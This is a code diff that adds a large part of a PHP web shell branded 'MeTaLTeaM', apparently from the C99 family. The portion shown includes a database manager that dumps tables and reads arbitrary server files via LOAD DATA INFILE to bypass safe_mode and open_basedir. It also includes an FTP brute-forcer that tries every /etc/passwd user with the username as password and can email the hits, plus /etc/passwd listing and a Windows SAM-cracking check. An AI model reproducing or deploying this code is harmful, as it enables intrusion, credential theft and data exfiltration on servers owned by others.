+ if (!$fp) {$ret["err"][] = 2;}
+ else
+ {
+ fwrite ($fp, $out);
+ fclose ($fp);
+ }
+ }
+ if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}}
+ return $out;
+}
+}
+if (!function_exists("mysql_buildwhere"))
+{
+function mysql_buildwhere($array,$sep=" and",$functs=array())
+{
+ if (!is_array($array)) {$array = array();}
+ $result = "";
+ foreach($array as $k=>$v)
+ {
+ $value = "";
+ if (!empty($functs[$k])) {$value .= $functs[$k]."(";}
+ $value .= "'".addslashes($v)."'";
+ if (!empty($functs[$k])) {$value .= ")";}
+ $result .= "`".$k."` = ".$value.$sep;
+ }
+ $result = substr($result,0,strlen($result)-strlen($sep));
+ return $result;
+}
+}
+if (!function_exists("mysql_fetch_all"))
+{
+function mysql_fetch_all($query,$sock)
+{
+ if ($sock) {$result = mysql_query($query,$sock);}
+ else {$result = mysql_query($query);}
+ $array = array();
+ while ($row = mysql_fetch_array($result)) {$array[] = $row;}
+ mysql_free_result($result);
+ return $array;
+}
+}
+if (!function_exists("mysql_smarterror"))
+{
+function mysql_smarterror($type,$sock)
+{
+ if ($sock) {$error = mysql_error($sock);}
+ else {$error = mysql_error();}
+ $error = htmlspecialchars($error);
+ return $error;
+}
+}
+if (!function_exists("mysql_query_form"))
+{
+function mysql_query_form()
+{
+ global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct;
+ if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "Error: ".$sql_query_error." ";}
+ if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
+ if ((!$submit) or ($sql_act))
+ {
+ echo "";
+ }
+ }
+ if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;}
+}
+}
+if (!function_exists("mysql_create_db"))
+{
+function mysql_create_db($db,$sock="")
+{
+ $sql = "CREATE DATABASE `".addslashes($db)."`;";
+ if ($sock) {return mysql_query($sql,$sock);}
+ else {return mysql_query($sql);}
+}
+}
+if (!function_exists("mysql_query_parse"))
+{
+function mysql_query_parse($query)
+{
+ $query = trim($query);
+ $arr = explode (" ",$query);
+ /*array array()
+ {
+ "METHOD"=>array(output_type),
+ "METHOD1"...
+ ...
+ }
+ if output_type == 0, no output,
+ if output_type == 1, no output if no error
+ if output_type == 2, output without control-buttons
+ if output_type == 3, output with control-buttons
+ */
+ $types = array(
+ "SELECT"=>array(3,1),
+ "SHOW"=>array(2,1),
+ "DELETE"=>array(1),
+ "DROP"=>array(1)
+ );
+ $result = array();
+ $op = strtoupper($arr[0]);
+ if (is_array($types[$op]))
+ {
+ $result["propertions"] = $types[$op];
+ $result["query"] = $query;
+ if ($types[$op] == 2)
+ {
+ foreach($arr as $k=>$v)
+ {
+ if (strtoupper($v) == "LIMIT")
+ {
+ $result["limit"] = $arr[$k+1];
+ $result["limit"] = explode(",",$result["limit"]);
+ if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);}
+ unset($arr[$k],$arr[$k+1]);
+ }
+ }
+ }
+ }
+ else {return FALSE;}
+}
+}
+if (!function_exists("k1r4fsearch"))
+{
+function k1r4fsearch($d)
+{
+ global $found;
+ global $found_d;
+ global $found_f;
+ global $search_i_f;
+ global $search_i_d;
+ global $a;
+ if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
+ $h = opendir($d);
+ while (($f = readdir($h)) !== FALSE)
+ {
+ if($f != "." && $f != "..")
+ {
+ $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f));
+ if (is_dir($d.$f))
+ {
+ $search_i_d++;
+ if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;}
+ if (!is_link($d.$f)) {k1r4fsearch($d.$f);}
+ }
+ else
+ {
+ $search_i_f++;
+ if ($bool)
+ {
+ if (!empty($a["text"]))
+ {
+ $r = @file_get_contents($d.$f);
+ if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";}
+ if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);}
+ if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);}
+ else {$bool = strpos(" ".$r,$a["text"],1);}
+ if ($a["text_not"]) {$bool = !$bool;}
+ if ($bool) {$found[] = $d.$f; $found_f++;}
+ }
+ else {$found[] = $d.$f; $found_f++;}
+ }
+ }
+ }
+ }
+ closedir($h);
+}
+}
+if ($act == "gofile") {if (is_dir($f)) {$act = "ls"; $d = $f;} else {$act = "f"; $d = dirname($f); $f = basename($f);}}
+//Sending headers
+@ob_start();
+@ob_implicit_flush(0);
+function onphpshutdown()
+{
+ global $gzipencode,$ft;
+ if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad")))
+ {
+ $v = @ob_get_contents();
+ @ob_end_clean();
+ @ob_start("ob_gzHandler");
+ echo $v;
+ @ob_end_flush();
+ }
+}
+function k1r4exit()
+{
+ onphpshutdown();
+ exit;
+}
+header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
+header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
+header("Cache-Control: no-store, no-cache, must-revalidate");
+header("Cache-Control: post-check=0, pre-check=0", FALSE);
+header("Pragma: no-cache");
+if (empty($tmpdir))
+{
+ $tmpdir = ini_get("upload_tmp_dir");
+ if (is_dir($tmpdir)) {$tmpdir = "/tmp/";}
+}
+$tmpdir = realpath($tmpdir);
+$tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir);
+if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;}
+if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;}
+else {$tmpdir_logs = realpath($tmpdir_logs);}
+if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
+{
+ $safemode = TRUE;
+ $hsafemode = "ON (secure) ";
+}
+else {$safemode = FALSE; $hsafemode = "OFF (no secure) ";}
+$v = @ini_get("open_basedir");
+if ($v or strtolower($v) == "on") {$openbasedir = TRUE; $hopenbasedir = "".$v." ";}
+else {$openbasedir = FALSE; $hopenbasedir = "OFF (not secure) ";}
+$sort = htmlspecialchars($sort);
+if (empty($sort)) {$sort = $sort_default;}
+$sort[1] = strtolower($sort[1]);
+$DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE");
+if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();}
+$DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"PHP/".phpversion()." ",htmlspecialchars($DISP_SERVER_SOFTWARE));
+@ini_set("highlight.bg",$highlight_bg); //FFFFFF
+@ini_set("highlight.comment",$highlight_comment); //#FF8000
+@ini_set("highlight.default",$highlight_default); //#0000BB
+@ini_set("highlight.html",$highlight_html); //#000000
+@ini_set("highlight.keyword",$highlight_keyword); //#007700
+@ini_set("highlight.string",$highlight_string); //#DD0000
+if (!is_array($actbox)) {$actbox = array();}
+$dspact = $act = htmlspecialchars($act);
+$disp_fullpath = $ls_arr = $notls = null;
+$ud = urlencode($d);
+?>
+ - MeTaLTeaM.ORG ! MeTaLTeaM !
Software:
uname -a: ",1); ?>
",1);} else {echo get_current_user();} ?>
Safe-mode:
".htmlspecialchars($b).DIRECTORY_SEPARATOR." ";
+ $i++;
+}
+echo " ";
+if (is_writable($d))
+{
+ $wd = TRUE;
+ $wdt = "[ ok ] ";
+ echo "".view_perms(fileperms($d))." ";
+}
+else
+{
+ $wd = FALSE;
+ $wdt = "[ Read-Only ] ";
+ echo "".view_perms_color($d)." ";
+}
+if (is_callable("disk_free_space"))
+{
+ $free = disk_free_space($d);
+ $total = disk_total_space($d);
+ if ($free === FALSE) {$free = 0;}
+ if ($total === FALSE) {$total = 0;}
+ if ($free < 0) {$free = 0;}
+ if ($total < 0) {$total = 0;}
+ $used = $total-$free;
+ $free_percent = round(100/($total/$free),2);
+ echo "Free ".view_size($free)." of ".view_size($total)." (".$free_percent."%) ";
+}
+echo " ";
+$letters = "";
+if ($win)
+{
+ $v = explode("\\",$d);
+ $v = $v[0];
+ foreach (range("a","z") as $letter)
+ {
+ $bool = $isdiskette = in_array($letter,$safemode_diskettes);
+ if (!$bool) {$bool = is_dir($letter.":\\");}
+ if ($bool)
+ {
+ $letters .= "[ ";
+ if ($letter.":" != $v) {$letters .= $letter;}
+ else {$letters .= "".$letter." ";}
+ $letters .= " ] ";
+ }
+ }
+ if (!empty($letters)) {echo "Detected drives : ".$letters." ";}
+}
+if (count($quicklaunch) > 0)
+{
+ foreach($quicklaunch as $item)
+ {
+ $item[1] = str_replace("%d",urlencode($d),$item[1]);
+ $item[1] = str_replace("%sort",$sort,$item[1]);
+ $v = realpath($d."..");
+ if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);}
+ $item[1] = str_replace("%upd",urlencode($v),$item[1]);
+ echo "".$item[0]." ";
+ }
+}
+echo "
";
+if ((!empty($donated_html)) and (in_array($act,$donated_act))) {echo " ";}
+echo "";
+if ($act == "") {$act = $dspact = "ls";}
+if ($act == "sql")
+{
+ $sql_surl = $surl."act=sql";
+ if ($sql_login) {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);}
+ if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);}
+ if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);}
+ if ($sql_port) {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);}
+ if ($sql_db) {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);}
+ $sql_surl .= "&";
+ ?>Attention! SQL-Manager is NOT ready module! Don't reports bugs. SQL Manager: ";
+ if (!$sql_sock)
+ {
+ if (!$sql_server) {echo "NO CONNECTION";}
+ else {echo "Can't connect "; echo "".$err." ";}
+ }
+ else
+ {
+ $sqlquicklaunch = array();
+ $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&");
+ $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl));
+ $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus");
+ $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars");
+ $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes");
+ $sqlquicklaunch[] = array("Logout",$surl."act=sql");
+ echo "MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\") ";
+ if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ ".$item[0]." ] ";}}
+ echo " ";
+ }
+ echo " ";
+ if (!$sql_sock) {?> i If login is null, login is owner of process. If host is null, host is localhost If port is null, port is 3306 (default) Please, fill the form: ">Home ".htmlspecialchars($sql_db)." ]--- ";
+ $c = 0;
+ while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "» ".htmlspecialchars($row[0])." (".$count_row[0].") "; mysql_free_result($count); $c++;}
+ if (!$c) {echo "No tables found in database.";}
+ }
+ }
+ else
+ {
+ ?>Home ".$row[0].""; $c++;}
+ echo "Databases (".$c.") ";
+ echo $dbs;
+ }
+ ?> Please, select database";
+ //Start center panel
+ $diplay = TRUE;
+ if ($sql_db)
+ {
+ if (!is_numeric($c)) {$c = 0;}
+ if ($c == 0) {$c = "no";}
+ echo "There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db)."). ";
+ if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ ".$item[0]." ] ";}}
+ echo " ";
+ $acts = array("","dump");
+ if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
+ elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";}
+ elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";}
+ elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
+ elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
+ elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
+ elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
+ elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";}
+ elseif ($sql_tbl_act == "insert")
+ {
+ if ($sql_tbl_insert_radio == 1)
+ {
+ $keys = "";
+ $akeys = array_keys($sql_tbl_insert);
+ foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";}
+ if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);}
+ $values = "";
+ $i = 0;
+ foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;}
+ if (!empty($values)) {$values = substr($values,0,strlen($values)-2);}
+ $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );";
+ $sql_act = "query";
+ $sql_tbl_act = "browse";
+ }
+ elseif ($sql_tbl_insert_radio == 2)
+ {
+ $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs);
+ $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;";
+ $result = mysql_query($sql_query) or print(mysql_smarterror());
+ $result = mysql_fetch_array($result, MYSQL_ASSOC);
+ $sql_act = "query";
+ $sql_tbl_act = "browse";
+ }
+ }
+ if ($sql_act == "query")
+ {
+ echo " ";
+ if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "Error: ".$sql_query_error." ";}
+ if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
+ if ((!$submit) or ($sql_act)) {echo "";}
+ }
+ if (in_array($sql_act,$acts))
+ {
+ ?>";}
+ if ($sql_act == "newtbl")
+ {
+ echo "";
+ if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success! ";
+ }
+ else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\". Reason: ".mysql_smarterror();}
+ }
+ elseif ($sql_act == "dump")
+ {
+ if (empty($submit))
+ {
+ $diplay = FALSE;
+ echo "SQL-Dump: ";
+ echo "DB: ";
+ $v = join (";",$dmptbls);
+ echo "Only tables (explode \";\") 1 : ";
+ if ($dump_file) {$tmp = $dump_file;}
+ else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");}
+ echo "File: ";
+ echo "Download: ";
+ echo "Save to file: ";
+ echo "1 - all, if empty";
+ echo " ";
+ }
+ else
+ {
+ $diplay = TRUE;
+ $set = array();
+ $set["sock"] = $sql_sock;
+ $set["db"] = $sql_db;
+ $dump_out = "download";
+ $set["print"] = 0;
+ $set["nl2br"] = 0;
+ $set[""] = 0;
+ $set["file"] = $dump_file;
+ $set["add_drop"] = TRUE;
+ $set["onlytabs"] = array();
+ if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);}
+ $ret = mysql_dump($set);
+ if ($sql_dump_download)
+ {
+ @ob_clean();
+ header("Content-type: application/octet-stream");
+ header("Content-length: ".strlen($ret));
+ header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";");
+ echo $ret;
+ exit;
+ }
+ elseif ($sql_dump_savetofile)
+ {
+ $fp = fopen($sql_dump_file,"w");
+ if (!$fp) {echo "Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";}
+ else
+ {
+ fwrite($fp,$ret);
+ fclose($fp);
+ echo "Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).") .";
+ }
+ }
+ else {echo "Dump: nothing to do! ";}
+ }
+ }
+ if ($diplay)
+ {
+ if (!empty($sql_tbl))
+ {
+ if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";}
+ $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;");
+ $count_row = mysql_fetch_array($count);
+ mysql_free_result($count);
+ $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;");
+ $tbl_struct_fields = array();
+ while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;}
+ if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;}
+ if (empty($sql_tbl_page)) {$sql_tbl_page = 0;}
+ if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;}
+ if (empty($sql_tbl_le)) {$sql_tbl_le = 30;}
+ $perpage = $sql_tbl_le - $sql_tbl_ls;
+ if (!is_numeric($perpage)) {$perpage = 10;}
+ $numpages = $count_row[0]/$perpage;
+ $e = explode(" ",$sql_order);
+ if (count($e) == 2)
+ {
+ if ($e[0] == "d") {$asc_desc = "DESC";}
+ else {$asc_desc = "ASC";}
+ $v = "ORDER BY `".$e[1]."` ".$asc_desc." ";
+ }
+ else {$v = "";}
+ $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage."";
+ $result = mysql_query($query) or print(mysql_smarterror());
+ echo " Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows) ";
+ echo "[ Structure ] ";
+ echo "[ Browse ] ";
+ echo "[ Dump ] ";
+ echo "[ Insert ] ";
+ if ($sql_tbl_act == "structure") {echo "Coming sooon! ";}
+ if ($sql_tbl_act == "insert")
+ {
+ if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();}
+ if (!empty($sql_tbl_insert_radio))
+ {
+
+ }
+ else
+ {
+ echo "Inserting row into table: ";
+ if (!empty($sql_tbl_insert_q))
+ {
+ $sql_query = "SELECT * FROM `".$sql_tbl."`";
+ $sql_query .= " WHERE".$sql_tbl_insert_q;
+ $sql_query .= " LIMIT 1;";
+ $result = mysql_query($sql_query,$sql_sock) or print(" ".mysql_smarterror());
+ $values = mysql_fetch_assoc($result);
+ mysql_free_result($result);
+ }
+ else {$values = array();}
+ echo " ";
+ echo "Insert as new row ";
+ if (!empty($sql_tbl_insert_q)) {echo " or Save "; echo " ";}
+ echo " ";
+ }
+ }
+ if ($sql_tbl_act == "browse")
+ {
+ $sql_tbl_ls = abs($sql_tbl_ls);
+ $sql_tbl_le = abs($sql_tbl_le);
+ echo " ";
+ echo " ";
+ $b = 0;
+ for($i=0;$i<$numpages;$i++)
+ {
+ if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "";}
+ echo $i;
+ if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo " ";}
+ if (($i/30 == round($i/30)) and ($i > 0)) {echo " ";}
+ else {echo " ";}
+ }
+ if ($i == 0) {echo "empty";}
+ echo "From: To: ";
+ echo "";
+ echo "With selected: ";
+ echo "Delete ";
+ echo "
";
+ }
+ }
+ else
+ {
+ $result = mysql_query("SHOW TABLE STATUS", $sql_sock);
+ if (!$result) {echo mysql_smarterror();}
+ else
+ {
+ echo "";
+ echo "With selected: ";
+ echo "Drop ";
+ echo "Empty ";
+ echo "Dump ";
+ echo "Check table ";
+ echo "Optimize table ";
+ echo "Repair table ";
+ echo "Analyze table ";
+ echo "
";
+ mysql_free_result($result);
+ }
+ }
+ }
+ }
+ }
+ else
+ {
+ $acts = array("","newdb","serverstatus","servervars","processes","getfile");
+ if (in_array($sql_act,$acts)) {?>";
+ if ($sql_act == "newdb")
+ {
+ echo "";
+ if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success! ";}
+ else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\". Reason: ".mysql_smarterror();}
+ }
+ if ($sql_act == "serverstatus")
+ {
+ $result = mysql_query("SHOW STATUS", $sql_sock);
+ echo "Server-status variables: ";
+ echo "Name Value ";
+ while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "".$row[0]." ".$row[1]." ";}
+ echo "
";
+ mysql_free_result($result);
+ }
+ if ($sql_act == "servervars")
+ {
+ $result = mysql_query("SHOW VARIABLES", $sql_sock);
+ echo "Server variables: ";
+ echo "Name Value ";
+ while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "".$row[0]." ".$row[1]." ";}
+ echo "
";
+ mysql_free_result($result);
+ }
+ if ($sql_act == "processes")
+ {
+ if (!empty($kill)) {$query = "KILL ".$kill.";"; $result = mysql_query($query, $sql_sock); echo "Killing process #".$kill."... ok. he is dead, amen. ";}
+ $result = mysql_query("SHOW PROCESSLIST", $sql_sock);
+ echo "Processes: ";
+ echo "ID USER HOST DB COMMAND TIME STATE INFO Action ";
+ while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "".$row[0]." ".$row[1]." ".$row[2]." ".$row[3]." ".$row[4]." ".$row[5]." ".$row[6]." ".$row[7]." Kill ";}
+ echo "
";
+ mysql_free_result($result);
+ }
+ if ($sql_act == "getfile")
+ {
+ $tmpdb = $sql_login."_tmpdb";
+ $select = mysql_select_db($tmpdb);
+ if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;}
+ if ($select)
+ {
+ $created = FALSE;
+ mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );");
+ mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file");
+ $result = mysql_query("SELECT * FROM tmp_file;");
+ if (!$result) {echo "Error in reading file (permision denied)! ";}
+ else
+ {
+ for ($i=0;$iFile \"".$sql_getfile."\" does not exists or empty! ";}
+ else {echo "File \"".$sql_getfile."\": ".nl2br(htmlspecialchars($f))." ";}
+ mysql_free_result($result);
+ mysql_query("DROP TABLE tmp_file;");
+ }
+ }
+ mysql_drop_db($tmpdb); //comment it if you want to leave database
+ }
+ }
+ }
+ }
+ echo "
";
+ if ($sql_sock)
+ {
+ $affected = @mysql_affected_rows($sql_sock);
+ if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;}
+ echo " Affected rows: ".$affected." ";
+ }
+ echo "
";
+}
+if ($act == "mkdir")
+{
+ if ($mkdir != $d)
+ {
+ if (file_exists($mkdir)) {echo "Make Dir \"".htmlspecialchars($mkdir)."\" : object alredy exists";}
+ elseif (!mkdir($mkdir)) {echo "Make Dir \"".htmlspecialchars($mkdir)."\" : access denied";}
+ echo " ";
+ }
+ $act = $dspact = "ls";
+}
+if ($act == "ftpquickbrute")
+{
+ echo "Ftp Quick brute: ";
+ if (!win) {echo "This functions not work in Windows! ";}
+ else
+ {
+ function k1r4ftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh)
+ {
+ if ($fqb_onlywithsh) {$TRUE = (!in_array($sh,array("/bin/FALSE","/sbin/nologin")));}
+ else {$TRUE = TRUE;}
+ if ($TRUE)
+ {
+ $sock = @ftp_connect($host,$port,$timeout);
+ if (@ftp_login($sock,$login,$pass))
+ {
+ echo "Connected to ".$host." with login \"".$login."\" and password \"".$pass."\" . ";
+ ob_flush();
+ return TRUE;
+ }
+ }
+ }
+ if (!empty($submit))
+ {
+ if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;}
+ $fp = fopen("/etc/passwd","r");
+ if (!$fp) {echo "Can't get /etc/passwd for password-list.";}
+ else
+ {
+ if ($fqb_logging)
+ {
+ if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");}
+ else {$fqb_logfp = FALSE;}
+ $fqb_log = "FTP Quick Brute (called MeTaLTeaM . oRg".$shver.") started at ".date("d.m.Y H:i:s")."\r\n\r\n";
+ if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
+ }
+ ob_flush();
+ $i = $success = 0;
+ $ftpquick_st = getmicrotime();
+ while(!feof($fp))
+ {
+ $str = explode(":",fgets($fp,2048));
+ if (k1r4ftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh))
+ {
+ echo "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\" ";
+ $fqb_log .= "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."\r\n";
+ if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
+ $success++;
+ ob_flush();
+ }
+ if ($i > $fqb_lenght) {break;}
+ $i++;
+ }
+ if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!\r\n";}
+ $ftpquick_t = round(getmicrotime()-$ftpquick_st,4);
+ echo "Done! Total time (secs.): ".$ftpquick_t." Total connections: ".$i." Success.: ".$success." Unsuccess.:".($i-$success)." Connects per second: ".round($i/$ftpquick_t,2)." ";
+ $fqb_log .= "\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.): ".$ftpquick_t."\r\nTotal connections: ".$i."\r\nSuccess.: ".$success."\r\nUnsuccess.:".($i-$success)."\r\nConnects per second: ".round($i/$ftpquick_t,2)."\r\n";
+ if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
+ if ($fqb_logemail) {@mail($fqb_logemail,"MeTaLTeaM ".$shver." report",$fqb_log);}
+ fclose($fqb_logfp);
+ }
+ }
+ else
+ {
+ $logfile = $tmpdir_logs."k1r4_ftpquickbrute_".date("d.m.Y_H_i_s").".log";
+ $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile);
+ echo " Read first: Users only with shell? Logging? Logging to file? Logging to e-mail? ";
+ }
+ }
+}
+if ($act == "d")
+{
+ if (!is_dir($d)) {echo "Permision denied! ";}
+ else
+ {
+ echo "Directory information: ";
+ if (!$win)
+ {
+ echo "Owner/Group ";
+ $ow = posix_getpwuid(fileowner($d));
+ $gr = posix_getgrgid(filegroup($d));
+ $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d));
+ }
+ echo " Perms ".view_perms_color($d)." Create time ".date("d/m/Y H:i:s",filectime($d))." Access time ".date("d/m/Y H:i:s",fileatime($d))." MODIFY time ".date("d/m/Y H:i:s",filemtime($d))."
";
+ }
+}
+if ($act == "phpinfo") {@ob_clean(); phpinfo(); k1r4exit();}
+if ($act == "security")
+{
+ echo "Server security information: Open base dir: ".$hopenbasedir." ";
+ if (!$win)
+ {
+ if ($nixpasswd)
+ {
+ if ($nixpasswd == 1) {$nixpasswd = 0;}
+ echo "*nix /etc/passwd: ";
+ if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;}
+ if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;}
+ echo "From: To: ";
+ $i = $nixpwd_s;
+ while ($i < $nixpwd_e)
+ {
+ $uid = posix_getpwuid($i);
+ if ($uid)
+ {
+ $uid["dir"] = "".$uid["dir"]." ";
+ echo join(":",$uid)." ";
+ }
+ $i++;
+ }
+ }
+ else {echo "Get /etc/passwd ";}
+ }
+ else
+ {
+ $v = $_SERVER["WINDIR"]."\repair\sam";
+ if (file_get_contents($v)) {echo "You can't crack winnt passwords(".$v.") ";}
+ else {echo "You can crack winnt passwords. Download , and use lcp.crack+ ©. ";}
+ }
